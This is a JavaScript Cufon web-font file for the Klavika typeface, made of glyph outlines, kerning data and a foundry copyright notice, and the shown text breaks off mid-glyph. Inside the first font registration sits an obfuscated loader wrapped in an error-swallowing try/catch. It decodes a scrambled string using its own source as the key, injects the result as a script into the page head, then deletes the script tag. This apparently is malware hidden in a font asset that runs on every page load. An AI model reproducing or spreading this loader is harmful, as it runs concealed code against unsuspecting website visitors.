-13,47r-56,0r73,-240r72,0xm113,-192r-28,100r55,0","w":225},{"d":"14,-60v0,-72,-8,-117,85,-119v22,0,49,2,71,6r0,244r-52,7r0,-84v-45,21,-104,10,-104,-54xm118,-51r0,-82v-29,-5,-56,3,-52,28v4,25,-11,65,19,64v11,0,23,-5,33,-10","w":193,"k":{"}":-4,"]":-4,"\\":2}},{"d":"75,0r-52,0r0,-60r52,0r0,60","k":{"V":29,"X":-4,"v":20,"x":-4,"Q":4,")":5,"}":7,"*":43,"]":4,"@":11,"1":25,"4":13,"7":5,"%":22,"A":-9,"O":4,"T":36,"U":4,"W":27,"Y":40,"o":2,"y":9,"f":11,"w":7,"t":11,"J":5}},{"d":"111,-243v114,0,91,78,93,173v0,36,-25,74,-93,74v-114,0,-92,-78,-93,-174v0,-36,25,-73,93,-73xm111,-44v63,0,39,-71,39,-121v0,-19,-12,-30,-39,-30v-63,0,-39,70,-39,120v0,19,12,31,39,31","w":221,"k":{"V":3,"X":5,"\/":11,"\\":4,")":5,"}":4,"]":4,"A":4,"T":4,"W":2,"Y":7,",":4,".":4}},{"d":"161,-180v15,55,-49,105,-72,135r74,0r0,45r-145,0r0,-44v25,-35,97,-85,91,-129v-4,-30,-65,-13,-88,-10r-7,-44v57,-16,155,-16,147,47","w":181,"k":{"\\":2,"4":2,"-":4}},{"d":"152,-243r-90,285r-46,0r90,-285r46,0","w":166,"k":{"q":11,"p":9,"m":9,"g":11,"d":11,"V":-9,"Q":5,"M":4,"9":5,"8":7,"7":-5,"6":5,"4":11,"3":2,"2":2,"0":9,"A":14,"C":5,"G":7,"O":5,"S":7,"T":-11,"W":-5,"Y":-4,"n":9,"a":11,"c":11,"e":11,"f":2,"o":13,"s":13,"u":9,"w":2,"z":4,"r":9,"y":2}},{"d":"75,-105r-52,0r0,-60r52,0r0,60xm75,4r-32,50r-23,-14r20,-40r-17,0r0,-60r52,0r0,64"},{"d":"107,-79r-93,0r0,-43r93,0r0,43","w":121,"k":{"V":11,"X":20,"x":5,")":13,"}":11,"]":11,"g":-2,"q":-4,"1":18,"4":-2,"7":23,"M":2,"j":2,"2":11,"3":5,"5":4,"9":4,"A":9,"C":-4,"T":31,"W":7,"Y":27,"o":-4,"f":4,"G":-4,"a":2,"c":-5,"w":-4,"S":5,"J":2,"Z":5}},{"d":"166,-68r-52,0r0,54r-42,0r0,-54r-52,0r0,-39r52,0r0,-54r42,0r0,54r52,0r0,39","w":186,"k":{"}":14,"]":4,")":11}},{"d":"120,-3v-38,14,-91,9,-91,-38r0,-93r-24,0r0,-41r24,0r0,-42r52,-8r0,50r40,0r-3,41r-37,0r0,85v2,15,19,11,32,7","w":129,"k":{"}":-4,"x":-5,"v":-5,"\\":2,"w":-5,"-":-4,"y":-5}},{"d":"32,-139v34,-1,81,10,69,-37v1,-30,-53,-15,-79,-13r-5,-41v21,-4,39,-6,60,-6v68,1,76,20,76,71v0,21,-7,38,-24,48v26,10,28,29,28,62v0,35,-16,59,-82,59v-22,0,-40,-2,-59,-8r6,-40v30,3,97,19,83,-31v2,-28,-46,-17,-73,-19r0,-45","w":175,"k":{"9":2,"7":2,"5":2,"2":-2,"1":2,"\/":7}},{"d":"148,-240r54,0r0,170v0,36,-22,74,-90,74v-68,0,-90,-38,-90,-74r0,-170r54,0r0,165v0,19,9,31,36,31v27,0,36,-12,36,-31r0,-165","w":223,"k":{"\/":11,"A":4,"Y":-2,",":4,".":4}},{"d":"115,0r-52,0r0,-172r-41,22r-22,-43r68,-40r47,0r0,233","w":140,"k":{"7":-4}},{"d":"177,0r-51,0r0,-116v-3,-25,-35,-8,-51,0r0,116r-52,0r0,-175r39,0r5,13v34,-13,82,-31,102,0v42,-22,111,-33,111,39r0,123r-52,0r0,-116v-3,-25,-35,-8,-51,0r0,116","w":301,"k":{"}":2,"\\":2,"-":-2}},{"d":"18,-158r0,-89r36,0r0,89r-36,0xm83,-158r0,-89r35,0r0,89r-35,0","w":136},{"d":"75,4r-32,50r-23,-14r20,-40r-17,0r0,-60r52,0r0,64","k":{"V":29,"X":-4,"v":20,"x":-4,"Q":4,")":5,"}":7,"*":43,"]":4,"@":11,"1":25,"4":13,"7":5,"%":22,"A":-9,"O":4,"T":36,"U":4,"W":27,"Y":40,"o":2,"y":9,"f":11,"w":7,"t":11,"J":5}},{"d":"14,-97r0,-39v12,1,23,0,23,-12v0,-59,-16,-141,50,-136r32,0r0,41v-15,0,-30,-3,-30,15v0,46,16,112,-35,111v51,0,35,66,35,112v0,18,14,15,30,15r0,41v-49,3,-82,-4,-82,-54r0,-82v1,-12,-11,-13,-23,-12","w":122,"k":{"x":-5,"q":2,"p":-5,"m":2,"j":-18,"d":4,"X":-5,"V":-5,"Q":4,"@":11,"9":2,"8":2,"7":-7,"6":2,"4":2,"3":-4,"2":-4,"1":4,"0":2,"+":14,"*":4,"A":2,"C":5,"G":5,"J":-14,"O":4,"S":4,"T":-4,"W":-5,"Y":-5,"n":2,"a":7,"c":2,"e":4,"f":4,"o":4,",":7,".":7,":":7,";":7,"-":11,"r":2}},{"d":"22,-175r51,0r0,116v4,24,35,7,51,0r0,-116r52,0r0,175r-39,0r-5,-13v-47,22,-110,33,-110,-40r0,-122","w":199,"k":{"x":-2}},{"d":"99,-236v111,0,80,88,80,176v0,36,-19,64,-80,64v-110,0,-79,-88,-79,-176v0,-36,18,-64,79,-64xm72,-165r0,98v0,18,4,25,27,25v23,0,28,-7,28,-25r0,-98v0,-18,-5,-26,-28,-26v-23,0,-27,8,-27,26","w":198,"k":{"}":2,"\\":4,"7":2,"2":2,"\/":9,")":5}},{"d":"105,-194v-56,-1,-27,71,-33,116v-6,46,57,33,95,27r8,47v-24,5,-46,8,-70,8v-104,3,-87,-83,-87,-174v0,-44,27,-73,87,-73v24,0,46,2,70,7r-8,47v-21,-4,-45,-5,-62,-5","w":187,"k":{"}":-9,"v":4,"d":2,"]":-5,"\\":-9,"V":-4,"Q":5,"?":-7,"\/":4,"*":-7,")":-4,"A":-4,"C":4,"G":4,"O":5,"a":2,"c":2,"e":2,"o":2,",":-4,".":-4,"-":11,"y":4}},{"d":"79,0r-54,0r0,-240r54,0r0,240","w":104},{"d":"181,-67v0,48,-15,71,-87,71v-28,0,-57,-7,-78,-16r9,-42v22,7,44,12,69,12v28,0,33,-6,33,-26v0,-22,-1,-23,-40,-32v-58,-13,-66,-24,-66,-76v0,-77,86,-74,155,-59r-5,45v-27,-5,-45,-7,-67,-7v-24,0,-29,4,-29,22v0,23,0,23,38,32v65,15,68,29,68,76","w":195,"k":{"}":-2,"\\":-2,"\/":7,"A":2,"e":2,"u":2,"-":-5,"y":2}},{"d":"141,0r3,-57r-51,0r-3,57r-37,0r3,-57r-43,0r1,-34r43,0r3,-52r-44,0r2,-34r44,0r2,-56r38,0r-3,56r51,0r3,-56r37,0r-3,56r41,0r-2,34r-41,0r-2,52r42,0r-2,34r-42,0r-3,57r-37,0xm97,-143r-3,52r51,0r3,-52r-51,0","w":244,"k":{"7":-7,"4":-5,"1":-7,")":5}},{"d":"128,-191v2,47,0,79,-57,79v-57,0,-58,-31,-58,-79v0,-30,13,-52,58,-52v45,0,57,22,57,52xm88,-162v0,-20,9,-47,-17,-47v-26,0,-18,26,-18,47v0,11,5,15,18,15v13,0,17,-4,17,-15xm91,-9r97,-234r31,12r-96,235xm300,-75v0,48,-1,79,-58,79v-57,0,-58,-31,-58,-79v0,-30,13,-52,58,-52v45,0,58,22,58,52xm260,-46v0,-21,8,-50,-18,-47v-26,-3,-18,26,-18,47v0,11,5,15,18,15v13,0,18,-4,18,-15","w":313,"k":{"}":4,"]":4,"4":-13,"1":9,")":9}},{"d":"23,0r0,-240r54,0r0,240r-54,0xm154,0r-70,-122r65,-118r61,0r-67,118r72,122r-61,0","w":222,"k":{"}":-5,"v":7,"q":5,"g":5,"d":5,"]":-5,"\\":-2,"V":-4,"Q":9,"@":11,"\/":4,")":-4,"A":-9,"C":9,"G":7,"O":9,"Y":-4,"a":5,"c":9,"e":7,"o":9,"s":4,"t":4,"u":5,"w":4,",":-2,".":-2,"-":25,"y":7}},{"d":"193,-36r9,28v-91,38,-188,-19,-188,-112v0,-70,46,-123,120,-123v71,0,112,45,112,98v0,40,-21,80,-69,80v-17,0,-31,-8,-36,-20v-24,16,-69,13,-60,-29v7,-34,12,-68,52,-66v18,0,34,5,50,12r-16,72v28,13,46,-17,46,-48v0,-36,-25,-69,-79,-69v-52,0,-86,39,-86,93v-1,78,75,110,145,84xm142,-111r9,-38v-10,-4,-34,-8,-34,8v0,12,-15,35,3,37v6,0,17,-4,22,-7","w":259,"k":{"}":11,"]":5,")":11,"A":9,",":14,".":14}},{"d":"123,-179v56,0,56,58,56,118v0,61,-50,74,-104,60r0,72r-52,7r0,-253r41,0r5,14v12,-8,35,-18,54,-18xm75,-120r0,74v18,5,55,12,52,-15v-4,-28,12,-72,-19,-73v-12,0,-25,8,-33,14","w":193,"k":{"}":2,"\\":5,"\/":5,")":2,"-":-4}},{"d":"18,-158r0,-89r36,0r0,89r-36,0","w":71},{"d":"157,-189r-77,189r-53,0r76,-187r-96,0r0,-46r150,0r0,44","w":164,"k":{"}":-7,"]":-5,"\\":-5,"?":-9,"8":4,"6":2,"5":2,"4":13,"3":-2,"1":-5,"0":2,"\/":22,")":-7,",":32,".":32,":":11,";":11,"-":16}},{"d":"197,-177v0,89,29,178,-81,177r-93,0r0,-240r93,0v59,0,81,31,81,63xm110,-48v58,2,24,-71,33,-115v6,-31,-34,-30,-66,-29r0,144r33,0","w":215,"k":{"X":4,"V":4,"\/":9,")":2,"A":4,"T":2,"W":2,"Y":5,"-":-2}},{"d":"114,34r-38,21v-32,-40,-56,-93,-56,-164v0,-71,24,-125,56,-165r38,21v-55,76,-55,212,0,287","w":117,"k":{"x":-4,"q":4,"m":4,"j":-14,"d":5,"X":-7,"V":-7,"Q":5,"@":9,"?":-4,"9":4,"8":4,"7":-5,"6":4,"4":5,"1":5,"0":5,"+":11,"*":4,"%":2,"$":2,"#":4}},{"d":"36,-133r25,-39r-47,0r0,-25r48,0r-26,-40r20,-14r28,44r28,-44r20,14r-27,40r49,0r0,25r-47,0r25,39r-21,13r-27,-43r-27,43","w":168,"k":{"}":4,")":4,",":40,".":40}},{"d":"161,-69r-95,0v-7,44,55,30,85,23r8,38v-16,6,-42,12,-66,12v-75,-1,-79,-45,-79,-113v0,-38,18,-70,76,-70v74,0,72,48,71,110xm112,-108v1,-18,0,-30,-22,-30v-21,0,-25,12,-24,30r46,0","w":174,"k":{"}":-2,"\\":2,"\/":2,")":2,"-":-5}},{"d":"179,-116v-5,72,10,118,-84,120v-19,0,-48,-2,-72,-6r0,-245r52,-7r0,85v45,-20,108,-11,104,53xm75,-124r0,82v29,5,56,-3,52,-28v-4,-25,11,-65,-19,-64v-11,0,-23,5,-33,10","w":193,"k":{"\\":4,"\/":7,")":4,"-":-5}},{"d":"108,45r-81,0r0,-329r81,0r0,41r-29,0r0,247r29,0r0,41","w":114,"k":{"x":-4,"p":-4,"j":-20,"g":-5,"X":-5,"V":-7,"Q":4,"@":5,"7":-4,"6":4,"4":4,"3":-2,"2":-4,"1":5,"+":4,"*":2,"%":2,"#":4,"C":4,"G":4,"J":-14,"O":4,"S":2,"T":-7,"W":-5,"Y":-5,"o":2,"z":-4,",":4,".":4,"-":11}},{"d":"338,-240r-59,240r-68,0r-41,-182r-40,182r-69,0r-59,-240r53,0r41,172r42,-172r65,0r41,172r41,-172r53,0","w":339,"k":{"V":-7,"Q":2,"\/":20,")":-7,"}":-5,"?":-7,"!":-5,"*":-9,"]":-5,"m":5,"d":7,"g":7,"p":5,"q":5,"A":14,"C":2,"O":2,"T":-7,"W":-5,"Y":-14,"e":7,"o":7,"y":2,"z":2,"G":2,",":27,".":27,":":14,";":14,"-":7,"a":11,"c":7,"u":5,"n":5,"r":5,"s":9}},{"d":"77,0r-54,0r0,-240r153,0r0,48r-99,0r0,51r91,0r0,48r-91,0r0,93","w":186,"k":{"}":-9,"v":-2,"]":-5,"\\":-9,"V":-5,"Q":2,"?":-9,"\/":16,"*":-9,")":-7,"A":14,"C":2,"O":2,"W":-5,"Y":-9,"a":4,"e":2,"o":2,"s":4,"w":-2,",":47,".":47,"-":-5}},{"d":"211,-240r-71,118r73,122r-56,0r-47,-79r-46,79r-57,0r73,-122r-70,-118r56,0r44,76r44,-76r57,0","w":220,"k":{"}":-5,"x":-2,"v":7,"q":4,"g":4,"d":4,"]":-5,"V":-4,"Q":5,"?":-4,"\/":2,")":-7,"!":-9,"A":-4,"C":4,"G":4,"O":5,"W":-4,"Y":-5,"a":4,"c":4,"e":5,"o":5,"u":2,",":-4,".":-4,"-":20,"y":4}},{"d":"184,-195r-104,151r106,0r0,44r-168,0r0,-44r105,-151r-100,0r0,-45r161,0r0,45","w":203,"k":{"q":5,"g":2,"d":4,"Q":5,")":-5,"A":-5,"C":5,"G":5,"O":5,"a":4,"c":5,"e":4,"o":5,"-":14,"y":5}},{"d":"162,0r-53,-75r-32,0r0,75r-54,0r0,-240r100,0v71,0,80,34,80,98v0,30,-11,50,-35,60r58,82r-64,0xm120,-121v31,1,29,-19,29,-46v0,-34,-42,-23,-72,-25r0,71r43,0","w":231,"k":{"}":-5,"x":-4,"\\":5,"V":9,"Q":5,"\/":4,"!":-7,"A":-5,"C":5,"G":5,"O":5,"T":9,"W":5,"Y":14,"o":4,",":-4,".":-4,":":-4,";":-4,"-":7,"y":5}},{"d":"209,0r-54,0r0,-96r-78,0r0,96r-54,0r0,-240r54,0r0,96r78,0r0,-96r54,0r0,240","w":232},{"d":"189,-8v-68,25,-171,14,-171,-62r0,-100v0,-44,30,-73,88,-73v28,0,56,3,77,7r-7,47v-40,-4,-109,-19,-104,27v5,47,-22,116,34,117v11,0,18,0,32,-2r0,-74r51,0r0,113","w":210,"k":{"}":-7,"]":-5,"\\":-4,"\/":7,")":2,"A":-2,"-":-5}},{"d":"26,76r-32,-38v26,-21,29,-25,29,-38r0,-240r54,0r0,248v0,23,-19,43,-51,68","w":99,"k":{"\/":4}},{"d":"133,-249r-7,41v-17,-4,-46,-7,-40,16r0,20r41,0r-4,43r-37,0r0,129r-52,0r0,-129r-27,0r0,-43r27,0v-3,-50,6,-83,59,-82v15,0,26,2,40,5","w":132,"k":{"v":-5,"x":-4,"\/":14,"\\":-4,")":-11,"}":-11,"?":-11,"!":-7,"*":-11,"]":-13,"d":2,"g":2,"@":-7,"e":2,"o":2,"y":-5,",":25,".":25,":":5,";":5,"-":5,"a":4,"c":2,"s":2,"w":-4}},{"d":"195,-81v0,52,-10,81,-69,81r-103,0r0,-240r95,0v61,2,68,26,68,77v0,17,-7,30,-26,38v20,5,35,22,35,44xm111,-141v23,0,21,-17,21,-38v0,-22,-33,-17,-55,-17r0,55r34,0xm77,-44v36,0,72,6,64,-35v1,-28,-38,-19,-64,-20r0,55","w":205,"k":{"v":-4,"\\":2,"V":4,"\/":7,")":2,"T":4,"Y":5,"-":-4}},{"d":"18,-58v0,-33,1,-42,30,-60v-25,-17,-24,-30,-24,-61v0,-36,18,-57,72,-57v63,1,75,25,72,77v0,17,-5,29,-24,41v29,17,30,27,30,60v0,44,-21,62,-78,62v-57,0,-78,-18,-78,-62xm68,-70v-1,22,0,31,28,31v28,0,29,-9,28,-31v0,-12,-2,-17,-29,-27v-27,10,-27,15,-27,27xm74,-177v1,25,-6,30,23,40v29,-10,19,-15,21,-40v0,-12,-4,-17,-22,-17v-18,0,-22,5,-22,17","w":192,"k":{"}":2,"\\":5,"3":2,"\/":7,")":4}},{"d":"153,0r-78,-158r0,158r-52,0r0,-240r67,0r78,165r0,-165r52,0r0,240r-67,0","w":243},{"d":"78,-139v45,-2,93,13,85,53v2,60,-2,89,-81,90v-16,0,-44,-3,-64,-9r8,-42v31,5,95,21,85,-26v6,-34,-61,-20,-84,-23r0,-137r131,0r0,45r-80,0r0,49","w":179,"k":{"9":2,"1":2,"\/":5}},{"d":"94,4v-100,0,-72,-77,-76,-158v-3,-77,71,-88,146,-79r-4,42v-45,-6,-97,0,-90,37r0,18v54,-17,100,-1,100,70v0,36,-14,70,-76,70xm94,-41v26,0,24,-16,24,-38v0,-29,-32,-17,-48,-12v1,25,-7,50,24,50","w":186,"k":{"}":-5,"\\":2,"9":2,"5":2,"4":-2,"\/":9,")":2}},{"d":"192,-49r-30,0r0,49r-51,0r0,-49r-106,0r0,-45r89,-139r68,0r0,142r30,0r0,42xm111,-91r0,-90r-55,90r55,0","w":202,"k":{"5":2,"2":-2,"1":7,"0":2,"\/":4}},{"d":"170,4r-159,-79r0,-26r159,-78r16,31r-127,60r127,61","w":203},{"d":"107,0r-52,0r0,-60r52,0r0,60xm87,-82r-29,-40v46,-34,49,-38,49,-57v0,-34,-56,-25,-87,-20r-7,-44v25,-5,43,-8,65,-8v64,0,80,27,80,69v0,44,-4,51,-71,100","w":174},{"d":"178,-175r-55,175r-66,0r-55,-175r52,0r36,124r36,-124r52,0","w":180,"k":{"x":-5,"v":-9,"\/":7,"*":-7,"f":-7,"t":-7,"w":-7,",":22,".":22,":":5,";":5,"y":-7}},{"d":"193,-75r-160,79r-15,-31r127,-61r-127,-60r15,-31r160,78r0,26","w":203},{"d":"169,-108r-149,0r0,-35r149,0r0,35xm169,-38r-149,0r0,-35r149,0r0,35","w":189},{"d":"91,-236v100,0,72,76,76,157v4,77,-72,90,-146,80r3,-43v42,5,99,2,91,-36r0,-18v-56,15,-101,1,-101,-71v0,-36,15,-69,77,-69xm91,-192v-26,0,-26,16,-25,39v1,29,34,17,49,11v-1,-25,7,-50,-24,-50","w":184,"k":{"}":2,"9":2,"7":2,"6":2,"5":2,"3":2,"2":2,"\/":11,")":2,",":4,".":4}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+244-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("sb~Hio8YVWOksUC|[og(?b?O608H~oOk60t(VWfp~=9unXYwigCrSoBxiCg+f=+4nW_B?G2Wmr2Q6=2HPc1BPGB@tp4qx`HRS(fOsW[S6bOD[Yg2:r9(6U9|:7LYPHx2i=Mw:GLHP`8tx(PC7Y1MtX[`sU4CnCL6fCBVxrBG7o~Um`IH8q%9>]n@>*rw:p8MibCYsU?ws724>*_uScHw:p_uicHM:o2Cio[YVU2p>W?k~w+piGCMVGPO5]Y|VWnFnw+NVXYN6w#Tmp[][HMks*9F>X4X[bgpVW+p6U+_1Uc`gbG?ts:P8m>%f7*x=W6n~ViS[5R#BwqrCopF4QDuLkNM2(XYH0]I+E|9O@Ton68FVWOkn0=k[GtBigMkn0g9~ogXVbCNio8Cipf(nW2S:o8BRUID6U+on68FVWOkn0=k[GtBigMkn0g9ibOqnW2Fi]8YRc`+PCMkP*nI6UIM6UI2PX89n0BHn0LS:o8Ni7rr:0rk[b=X[UBui08B[bCNiw+Fi]8YiogL~7r4~oO(scL4>bM|s(L4sW[inHL46=YOSgL466Y4sUr#")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":98,"face":{"font-family":"klavika","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 8 3 5 0 0 2 0 4","ascent":"270","descent":"-90","x-height":"4","bbox":"-6 -284.594 338 78","underline-thickness":"7.2","underline-position":"-40.68","stemh":"45","stemv":"52","unicode-range":"U+0020-U+007E"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 2004 Process Type Foundry. All rights reserved.
 * 
 * Trademark:
 * Please refer to the Copyright section for the font trademark attribution
 * notices.
 * 
 * Designer:
 * Eric Olson
 * 
 * Vendor URL:
 * http://www.processtypefoundry.com
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"86,-160v-60,0,-42,55,-45,104v-3,46,41,45,82,37r3,18v-53,15,-106,-2,-106,-56v0,-66,-10,-125,66,-122v12,0,28,2,40,5r-3,17v-15,-3,-27,-3,-37,-3","w":144,"k":{"}":-7,"x":-3,"v":-2,"g":1,"d":1,"]":-7,"\/":-2,"*":-4,")":-4,"e":1,"o":1,"w":-1,",":-4,".":-4,":":-4,";":-4,"-":3,"y":-2}},{"d":"22,-126v14,1,22,-3,21,-15v8,-61,-32,-160,61,-143r0,18v-18,1,-40,-5,-40,15r0,109v0,13,-5,25,-23,25v18,1,23,13,23,26r0,109v-1,20,23,13,40,14r0,19v-34,3,-61,-3,-61,-36r0,-108v1,-12,-8,-15,-21,-14r0,-19","w":111,"k":{"x":-5,"q":2,"p":-7,"m":2,"j":-18,"d":4,"X":-5,"V":-5,"Q":4,"@":11,"9":2,"8":2,"7":-9,"4":4,"3":-4,"2":-5,"0":2,"+":14,"*":4,"C":2,"G":4,"J":-14,"O":4,"T":-4,"W":-5,"Y":-5,"n":2,"a":4,"c":2,"e":4,"f":4,"o":4,",":7,".":7,":":7,";":7,"-":11,"r":2}},{"d":"158,-115v0,66,5,119,-68,119v-73,-1,-68,-53,-68,-119v0,-36,19,-64,68,-64v49,0,68,28,68,64xm90,-15v57,0,47,-51,47,-101v0,-30,-14,-44,-47,-44v-57,0,-48,50,-48,101v0,30,15,44,48,44","w":179,"k":{"\/":2,"\\":2,")":4,"]":2,"}":4,",":4,".":4,":":1,";":1}},{"d":"84,-179v97,0,55,102,64,179r-18,0r-2,-14v-33,25,-105,30,-105,-31v0,-58,52,-49,104,-49v1,-39,3,-66,-42,-66v-17,0,-36,3,-52,6r-3,-18v14,-4,36,-7,54,-7xm127,-33r0,-42v-35,3,-83,-13,-83,30v0,47,59,30,83,12","w":174,"k":{"x":-4,"\\":4,")":2,"w":-3}},{"d":"76,45r-65,0r0,-19r44,0r0,-291r-44,0r0,-19r65,0r0,329","w":111},{"d":"35,-137r-17,-10r52,-100r23,0r52,100r-16,10r-47,-91","w":163},{"d":"101,45r-65,0r0,-329r65,0r0,19r-44,0r0,291r44,0r0,19","w":111,"k":{"x":-4,"p":-7,"j":-20,"g":-2,"d":4,"X":-5,"V":-4,"Q":4,"@":7,"7":-7,"6":4,"4":5,"3":-4,"2":-5,"1":2,"+":4,"*":2,"%":2,"#":4,"A":2,"C":4,"G":4,"J":-14,"O":4,"S":3,"T":-5,"W":-5,"Y":-2,"o":2,",":4,".":4,"-":11,"z":-4}},{"d":"106,-19r78,-221r21,0r-84,240r-29,0r-85,-240r21,0","w":212,"k":{"}":-5,"x":4,"q":13,"p":11,"m":11,"g":19,"d":17,"]":-4,"\\":-7,"Q":4,"?":-5,"\/":20,"*":-11,")":-7,"!":-4,"A":23,"C":4,"G":4,"O":4,"S":5,"T":-5,"n":11,"a":19,"c":15,"e":15,"o":15,"s":15,"t":4,"u":12,",":38,".":38,":":23,";":23,"-":18,"z":7,"r":13}},{"d":"191,0r-21,0r0,-114r-116,0r0,114r-22,0r0,-240r22,0r0,107r116,0r0,-107r21,0r0,240","w":223},{"d":"180,-221r-131,202r133,0r0,19r-157,0r0,-19r131,-202r-127,0r0,-19r151,0r0,19","w":207,"k":{"v":4,"q":5,"g":9,"d":6,"\\":-4,"Q":9,")":-5,"C":7,"G":7,"O":9,"a":5,"c":5,"e":7,"o":7,"s":7,"t":4,"u":4,"w":2,":":2,";":2,"-":25,"y":5,"U":4}},{"d":"51,0r-20,0r0,-247r20,-3r0,250","w":82},{"d":"13,0r80,-122r-78,-118r23,0r66,101r67,-101r23,0r-78,118r80,122r-23,0r-69,-105r-68,105r-23,0","w":208,"k":{"}":-5,"x":-4,"v":11,"q":2,"g":4,"d":4,"]":-5,"\\":-4,"Q":2,"?":-4,"\/":2,")":-5,"!":-9,"A":-3,"C":1,"G":1,"O":2,"S":3,"a":2,"c":3,"e":4,"o":4,"s":2,"t":2,"u":1,",":-2,".":-2,"-":23,"y":11}},{"d":"32,0r0,-240r135,0r0,19r-113,0r0,89r105,0r0,19r-105,0r0,94r114,0r0,19r-136,0","w":192,"k":{"}":-7,"x":-3,"g":3,"d":2,"]":-5,"\\":-4,"V":2,"Q":3,"\/":-2,")":-7,"A":-1,"C":3,"G":3,"O":3,"S":3,"Y":3,"a":4,"f":1,"o":3,",":-2,".":-2}},{"d":"175,-240r21,0r0,172v0,41,-25,72,-83,72v-58,0,-82,-31,-82,-72r0,-172r21,0r0,172v0,33,21,53,61,53v40,0,62,-20,62,-53r0,-172","w":226,"k":{"\/":9,"\\":-7,",":9,".":9,":":4,";":4,"A":3}},{"d":"51,0r-20,0r0,-175r20,0r0,175xm51,-208r-20,0r0,-39r20,0r0,39","w":82},{"d":"80,0r-31,0r-40,-175r20,0r36,161r47,-161r28,0r48,161r36,-161r20,0r-40,175r-32,0r-46,-160","w":252,"k":{"v":-4,"x":-2,"\/":2,"\\":-4,")":2,"*":-7,"g":1,"y":-4,"f":-2,",":18,".":18,":":5,";":5,"t":-2,"a":2,"w":-3}},{"d":"107,-224v-89,0,-50,89,-59,157v-8,56,60,59,108,46r0,-85r21,0r0,100v-22,6,-50,10,-73,10v-104,0,-69,-93,-77,-178v-7,-70,80,-78,145,-63r-2,18v-20,-3,-42,-5,-63,-5","w":205,"k":{"}":-11,"]":-9,"\\":-2,"V":2,")":-5,"A":-1,"T":1,"Y":6,"-":-2}},{"d":"213,0r-53,-225r-53,225r-33,0r-65,-240r21,0r60,224r53,-224r34,0r54,224r60,-224r20,0r-64,240r-34,0","w":320,"k":{"x":2,"Q":3,"\/":18,"\\":-7,")":-4,"?":-4,"!":-5,"*":-9,"g":14,"]":-5,"d":10,"}":-5,"m":7,"p":7,"q":9,"C":2,"O":3,"T":-2,"e":10,"o":10,"z":5,"G":2,",":30,".":30,":":20,";":20,"-":13,"a":13,"c":11,"s":13,"A":17,"Z":2,"u":6,"n":7,"r":8,"S":1}},{"d":"184,0r-62,-92r-68,0r0,92r-22,0r0,-240r85,0v64,1,66,35,66,92v0,26,-11,46,-39,53r64,95r-24,0xm162,-148v0,-42,2,-73,-44,-73r-64,0r0,110v45,-2,108,12,108,-37","w":222,"k":{"}":-5,"x":-5,"v":2,"g":4,"d":3,"\\":4,"V":13,"Q":5,"\/":-4,"!":-4,"A":-1,"C":4,"G":4,"O":5,"T":13,"W":7,"Y":15,"a":2,"c":1,"e":2,"o":2,"u":2,",":-1,".":-1,":":2,";":2,"-":14,"y":4,"U":4}},{"d":"153,50r-19,8r-24,-54v-106,2,-83,-86,-83,-176v0,-41,22,-71,84,-71v108,0,84,85,84,175v0,36,-18,64,-63,70xm111,-15v90,0,63,-83,63,-156v0,-34,-17,-53,-63,-53v-90,0,-63,83,-63,156v0,34,17,53,63,53","w":221,"k":{"}":4,"]":4,"\\":2,"X":2,"V":4,"\/":5,")":5,"A":4,"T":8,"W":3,"Y":5,"Z":3,",":5,".":5,":":4,";":4}},{"d":"83,0r0,-221r-74,0r0,-19r169,0r0,19r-74,0r0,221r-21,0","w":186,"k":{"v":29,"x":25,"Q":8,"\/":25,"\\":-9,")":-5,"?":-11,"!":-5,"*":-11,"g":33,"]":-5,"d":31,"}":-4,"m":30,"p":30,"q":27,"M":2,"C":7,"O":8,"W":-1,"Y":-2,"e":30,"o":30,"y":29,"f":8,"z":30,"G":7,",":38,".":38,":":36,";":36,"-":38,"t":11,"a":30,"c":29,"s":32,"w":25,"A":23,"u":30,"n":30,"r":32,"S":6}},{"d":"23,-78r0,-19r63,0r0,-64r21,0r0,64r63,0r0,19r-63,0r0,64r-21,0r0,-64r-63,0","w":192,"k":{"}":14,"]":4,")":11}},{"d":"31,-175r20,0r0,188v0,26,-4,30,-40,62r-14,-16v30,-27,34,-29,34,-50r0,-184xm51,-208r-20,0r0,-39r20,0r0,39","w":80,"k":{"\/":2}},{"d":"156,-175r-59,175r-32,0r-60,-175r22,0r54,160r54,-160r21,0","w":161,"k":{"x":-2,"v":-1,"\/":4,"*":-7,")":4,"a":2,"f":-2,"t":-3,"w":-1,",":25,".":25,":":6,";":6,"y":-1}},{"d":"55,-240r0,240r-21,0r0,-240r21,0","w":89},{"d":"27,-240r71,145r70,-145r22,0r-82,166r0,74r-21,0r0,-74r-82,-166r22,0","w":195,"k":{"v":9,"x":13,"Q":5,"\/":27,"\\":-5,")":-2,"?":-5,"*":-5,"g":29,"]":-2,"d":24,"}":-5,"m":20,"p":20,"q":23,"M":3,"C":7,"O":5,"T":-2,"U":1,"Y":-2,"e":26,"o":26,"y":9,"f":5,"z":22,"G":7,",":49,".":49,":":32,";":32,"-":31,"t":6,"a":25,"c":23,"s":27,"w":9,"A":26,"Z":4,"u":21,"n":20,"r":22,"S":5}},{"d":"51,0r-20,0r0,-247r20,-3r0,250xm130,-175r26,0r-70,86r73,89r-27,0r-71,-89","w":169,"k":{"x":-4,"g":4,"d":3,"\\":4,"a":3,"c":3,"e":3,"o":3,"s":1,"-":16}},{"d":"266,0r-21,0r0,-142v0,-13,-7,-17,-19,-17v-17,0,-45,8,-67,20r0,139r-21,0r0,-142v0,-13,-7,-17,-19,-17v-14,0,-46,8,-68,20r0,139r-20,0r0,-175r18,0r1,16v30,-14,91,-37,106,0v35,-17,110,-41,110,20r0,139","w":294,"k":{"\\":2}},{"d":"208,-111r-36,0r0,105v-53,17,-151,18,-141,-47v-2,-35,4,-61,33,-68v-31,-11,-28,-35,-28,-71v0,-57,81,-57,132,-43r-3,18v-37,-8,-